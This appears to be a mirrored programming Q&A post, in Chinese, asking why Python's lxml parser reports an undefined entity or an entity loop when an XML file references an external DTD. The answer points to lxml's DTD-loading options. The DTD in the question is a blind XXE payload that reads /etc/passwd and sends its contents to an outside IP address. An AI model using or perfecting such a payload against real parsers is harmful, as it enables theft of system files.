代码之家  ›  专栏  ›  技术社区  ›  rdre8

引用外部DTD的XML文件

  •  0
  • rdre8  · 技术社区  · 2 年前

    以下是XML文件:

    <?xml version="1.0"?>
    <!DOCTYPE data SYSTEM "test.dtd" [
            <!ELEMENT data ANY>
    ]>
    <data>&send;</data>
    

    这是DTD文件:

    <!ENTITY % passwd SYSTEM "../../../../etc/passwd">
    <!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://192.168.64.5:4000/?%passwd;'>">
    %wrapper;
    

    解析XML文件时,出现错误:

    lxml.etree.XMLSyntaxError: Entity 'send' not defined, line 5, column 13
    

    在IDE中,当我第一次将DTD文件名输入XML文档时,DTD文件名和&邮寄立即被IDE识别。

    以下是用于调用解析器的代码:

    import lxml.etree as etree
    tree = etree.parse('blind.xml')
    print(etree.tostring(tree))
    

    如果有人能解释为什么LXML解析器会受到此问题的困扰,我将不胜感激。

    更新:

    如果我将用于调用解析器的代码更新为:

    import lxml.etree as etree
    parser = etree.XMLParser(load_dtd=True)
    tree = etree.parse('blind.xml', parser)
    print(etree.tostring(tree))
    

    (根据评论者的建议 Conal Tuohy )

    然后它会出错:

    lxml.etree.XMLSyntaxError: Detected an entity reference loop, line 2, column 80
    

    因此,使用load_dtd选项似乎会给dtd一种“伪内部”状态,而我特别希望让XML文件读取一个外部dtd(当然,这允许实体引用循环)。

    0 回复  |  直到 2 年前
        1
  •  0
  •   Conal Tuohy    2 年前

    我只是猜测(因为您没有显示用于调用解析器的代码),但很可能您没有告诉lxml解析器加载定义实体的DTD,解析器的默认行为是 加载DTD。

    看见 https://lxml.de/parsing.html#parser-options 对于将导致加载DTD的选项:

    • 加载_dtd
    • dtd_validation
    • attribute_defaults